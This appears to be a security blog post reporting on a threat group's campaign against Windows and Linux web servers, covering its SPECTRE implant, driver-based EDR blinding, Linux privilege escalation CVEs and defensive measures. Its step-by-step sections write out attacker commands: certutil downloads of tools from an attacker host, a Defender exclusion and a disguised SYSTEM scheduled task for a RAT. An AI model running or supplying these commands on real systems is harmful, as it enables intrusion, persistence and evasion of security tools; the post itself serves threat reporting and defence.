Listen to this Post
Introduction:
A Chinese-speaking cybercrime group designated UAT-10147 has been observed weaponizing artificial intelligence at scale to automate post-compromise operations against Windows and Linux web servers worldwide. The threat actor leverages publicly disclosed vulnerabilities for initial access, deploys a novel cross-platform implant named SPECTRE, and employs advanced kernel-level techniques—including Bring Your Own Vulnerable Driver (BYOVD) on Windows and a Linux rootkit dubbed Specter—to blind endpoint detection and response (EDR) solutions. This campaign represents a significant evolution in commodity intrusion tooling, demonstrating how AI is operationalized to scale offensive tradecraft across thousands of targets.
Learning Objectives & Secrets:
- Objective 1: Understand UAT-10147’s attack chain—from initial exploitation of known vulnerabilities (Zimbra CVE-2022-27925, Telerik CVE-2019-18935, Nacos CVEs) to automated payload deployment using AI-generated scripts.
- Objective 2 (Secret Tip): SPECTRE’s BYOVD technique uses RTCore64.sys (CVE-2019-16098) and DBUtil_2_3.sys (CVE-2021-21551)—signed but vulnerable kernel drivers—to perform targeted kernel writes that unlink EDR callbacks from the kernel’s doubly-linked list, rendering CrowdStrike Falcon, SentinelOne, and Microsoft Defender blind to process and thread creation events.
- Objective 3 (Secret Tip): The Linux variant deploys a kernel-level rootkit called Specter—likely AI-assisted in development (evidenced by descriptive comments, uniform decorative separators, and redundant implementation methods characteristic of LLM output)—that survives reboots and most user-level security controls.
You Should Know:
1. Understanding the SPECTRE Implant: Cross-Platform Capabilities
SPECTRE is a C-based cross-platform backdoor that communicates with C2 servers over HTTPS and supports extensive command sets. The Windows version supports 45 commands, including file operations, keylogging, screenshot capture, shellcode injection, process hollowing, Early Bird APC injection, and EDR process termination via BYOVD. The Linux version supports 29 commands for file system manipulation, system reconnaissance, agent management, and unrestricted shell execution.
Both versions employ an anti-sandbox scoring mechanism that evaluates process name blocklists, RAM capacity, CPU core count, disk space, sleep acceleration, and common sandbox hostnames—self-terminating if the score exceeds 50 points.
2. AI Integration in the Attack Lifecycle
UAT-10147 integrates AI-powered tools across multiple phases:
- DeepAudit for vulnerability scanning (left accessible on the management server, suggesting future targeting or defensive auditing)
- PentestGPT—an open-source autonomous pentesting framework—deployed on C2 servers to scan web servers and execute proof-of-concept exploits
- AI-generated Python scripts for post-exploitation diagnostics, ViewState deserialization payload generation, web shell deployment, and exfiltration traffic blending with legitimate SaaS traffic
- AI-refined exploits for troubleshooting logic, automating workflows, and generating operational documentation
The group also exploited ASP.NET ViewState deserialization using the `badsecrets` library to identify leaked or known MachineKey configurations, then employed `ysoserial.net` to build malicious payloads that bypass ViewState protection.
3. Attack Chain: Windows IIS Server Compromise
Step‑by‑step guide to UAT‑10147’s Windows exploitation methodology:
Step 1: Initial Access – Exploit known RCE vulnerabilities in Zimbra (CVE-2022-27925), Telerik UI for ASP.NET AJAX (CVE-2019-18935), or Alibaba Nacos (CVE-2021-29441, CVE-2021-29442) to achieve remote code execution on IIS servers.
Step 2: Payload Download – Use a batch script employing `certutil` to download privilege escalation tools (“EfsPotato”), secondary batch scripts, and Quasar RAT from remote servers:
certutil -urlcache -f http://adminapi.tippusoni[.]in/efspotato.exe C:\temp\efspotato.exe certutil -urlcache -f http://adminapi.tippusoni[.]in/script2.bat C:\temp\script2.bat
Step 3: Privilege Escalation – Execute EfsPotato to gain SYSTEM privileges and configure Microsoft Defender exclusions:
C:\temp\efspotato.exe "cmd /c powershell -Command Add-MpPreference -ExclusionPath C:\temp"
Step 4: Persistence – Deploy Quasar RAT via the secondary batch script and create a deceptive scheduled task named “Google Chrome Start”:
schtasks /create /tn "Google Chrome Start" /tr "C:\temp\quasar.exe" /sc onlogon /ru SYSTEM
Step 5: Backdoor Deployment – Abuse elevated privileges to download a third batch script that installs BadIIS—a malware-as-a-service (MaaS) tool used by multiple Chinese-speaking groups for SEO fraud and traffic redirection.
Step 6: SPECTRE Deployment – Use AI-generated scripts leveraging the ViewState deserialization primitive to download and launch the SPECTRE implant.
Step 7: EDR Neutralization – SPECTRE’s BYOVD routine downloads signed but vulnerable drivers to perform kernel writes that unlink EDR callbacks:
RTCore64.sys (CVE-2019-16098) - MSI Afterburner driver allowing arbitrary memory read/write DBUtil_2_3.sys (CVE-2021-21551) - Dell driver with insufficient access control
Step 8: C2 Communication & Exfiltration – Route exfiltrated data through legitimate cloud-based configuration management services (Nacos instances) to blend traffic with normal administrative operations.
4. Attack Chain: Linux Server Compromise
Step‑by‑step guide to UAT‑10147’s Linux exploitation methodology:
Step 1: Initial Foothold – Exploit known vulnerabilities to gain initial access on Linux web servers.
Step 2: Privilege Escalation to Root – Abuse known Local Privilege Escalation (LPE) exploits:
| CVE | Vulnerability |
|–||
| CVE-2022-0995 | Linux kernel watch queue vulnerability |
| CVE-2021-3156 | sudo heap-based buffer overflow (Baron Samedit) |
| CVE-2022-0847 | Dirty Pipe – Linux kernel privilege escalation |
| CVE-2015-5287 | abrt/sosreport privilege escalation |
| CVE-2015-3246 | libuser privilege escalation |
| CVE-2010-3904 | RDS protocol local privilege escalation |
Step 3: Backdoor Deployment – Deploy multiple backdoors including Noodle RAT (Gh0st RAT variant), SPECTRE, and Meterpreter for outbound C2 connections.
Step 4: Rootkit Installation – SPECTRE’s Linux variant loads the Specter kernel module rootkit that prevents detection from security products and grants persistent kernel-level control surviving reboots.
Step 5: Anti-Sandbox Evasion – Both versions run anti-sandbox checks (process blocklists, resource evaluation, sleep acceleration detection) before establishing C2 connections.
5. Defensive Measures and Mitigation
For Windows IIS Administrators:
- Patch known vulnerabilities immediately: CVE-2022-27925 (Zimbra), CVE-2019-18935 (Telerik), CVE-2021-29441/29442 (Nacos)
- Monitor for suspicious `certutil` activity downloading executables from remote servers
- Audit scheduled tasks for deceptive names like “Google Chrome Start”
- Block known malicious domains:
adminapi.tippusoni[.]in, `139.180.197[.]150`
– Deploy EDR with kernel callback integrity monitoring to detect callback unlinking - Block vulnerable drivers using Windows Defender Application Control (WDAC) or driver blocklists for RTCore64.sys and DBUtil_2_3.sys
For Linux Administrators:
- Patch LPE vulnerabilities: CVE-2022-0995, CVE-2021-3156, CVE-2022-0847, CVE-2015-5287, CVE-2015-3246, CVE-2010-3904
- Monitor for kernel module loading and unauthorized rootkit installations
- Deploy Linux EDR solutions with kernel-level monitoring capabilities
- Implement integrity monitoring for
/etc/passwd,/etc/shadow, and critical system binaries - Use `auditd` to monitor for suspicious privilege escalation attempts
General Recommendations:
- Monitor for AI-generated attack patterns—unusually descriptive comments, redundant code paths, and uniform formatting in malware samples
- Implement network segmentation to limit lateral movement
- Deploy deception technology (honeypots) to detect early-stage reconnaissance
- Regularly audit ASP.NET MachineKey configurations to prevent ViewState deserialization attacks
What Undercode Say:
- Key Takeaway 1: UAT-10147 represents a paradigm shift where AI is no longer a theoretical offensive capability but an operationalized tool for scaling commodity intrusions—automating exploit refinement, payload generation, and post-exploitation workflows at a pace and scale previously unattainable by human operators alone.
-
Key Takeaway 2: The SPECTRE implant’s BYOVD and kernel-rootkit capabilities demonstrate that EDR solutions are not invincible—by targeting the kernel’s callback mechanism itself rather than individual processes, attackers can achieve wholesale visibility blindness across multiple security products simultaneously.
Analysis: The integration of agentic AI into post-compromise operations lowers the barrier to entry for sophisticated attacks, enabling financially motivated groups to operate at nation-state levels of sophistication. The use of AI-generated code—evidenced by the Specter rootkit’s descriptive comments and redundant implementations—suggests threat actors are now leveraging LLMs to accelerate malware development, potentially outpacing traditional signature-based detection. Defenders must shift toward behavioral detection, kernel integrity monitoring, and proactive threat hunting to counter these AI-augmented adversaries. The commoditization of tools like BadIIS within a MaaS ecosystem further complicates attribution, as multiple groups share the same infrastructure and tooling.
Prediction:
- +1 The cybersecurity industry will accelerate development of AI-powered defensive tools capable of detecting AI-generated malware patterns—creating an arms race where both attackers and defenders leverage generative AI, potentially leading to more sophisticated, self-adapting security solutions.
-
-1 The democratization of AI-powered offensive frameworks (PentestGPT, DeepAudit, CyberStrikeAI) will enable a new wave of less-skilled threat actors to conduct sophisticated, automated attacks at scale, dramatically increasing the global attack surface.
-
-1 EDR vendors will face mounting pressure to redesign kernel callback architectures to prevent wholesale callback unlinking—a fundamental redesign that could take years to implement and deploy across existing customer bases.
-
+1 Organizations will increasingly adopt zero-trust architectures and application allowlisting (WDAC, AppArmor, SELinux) to mitigate the impact of post-exploitation activities, shifting security focus from detection-only to prevention-first strategies.
-
-1 The use of legitimate cloud-based services (Nacos instances) for C2 and data exfiltration will become more prevalent, making network-based detection increasingly difficult as malicious traffic becomes indistinguishable from legitimate administrative operations.
▶️ Related Video (84% Match):
https://www.youtube.com/watch?v=0LvF0KtBWxY
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: https://lnkd.in/p/eU5MDa9b – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
